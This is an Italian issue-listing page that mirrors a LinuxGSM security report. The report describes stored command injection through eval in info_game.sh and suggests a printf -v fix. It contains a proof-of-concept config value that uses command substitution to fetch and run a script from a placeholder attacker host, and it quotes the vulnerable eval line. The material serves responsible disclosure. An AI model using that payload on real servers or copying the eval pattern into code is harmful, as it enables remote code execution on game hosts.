Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Security: game-server config values parsed via eval in info_game.sh - stored command injection

Aperta
#4,955 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
72/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
bash, shell
Ambito
cli, security

Direzione di ricerca

Inizia in lgsm/modules/info_game.sh alla riga 34 e rivedi i pattern eval identici alle righe 59, 84, 109, 147, 185, 210, 233 e 258, quindi esamina i chiamanti intorno alle righe 963-964. Sostituisci l’uso di eval di parse-helper con un’assegnazione sicura, preservando i valori estratti, e verifica che i valori di config contenenti la sintassi di sostituzione dei comandi non vengano eseguiti.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Security report (responsible disclosure)

Game-server config values parsed through eval in info_game.sh — stored command injection

Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)

eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""

The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.

Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:

game.serverName "x$(curl http://attacker.tld/s|sh)"

The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.

Severity

Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.

Suggested fix

Replace every parse-helper eval with safe dynamic assignment:

printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"

No eval needed anywhere in these helpers.

Lingua principale
Shell
Stelle
4.9k
Fork
863
Merge medio
1g 16h
PR unite (30g)
45

Preparare l'ambiente

Apri in Codespaces

Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di GameServerManagers/LinuxGSM

Tutte le issue di GameServerManagers/LinuxGSM

Issue simili

Altre issue su Shell/Bash

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.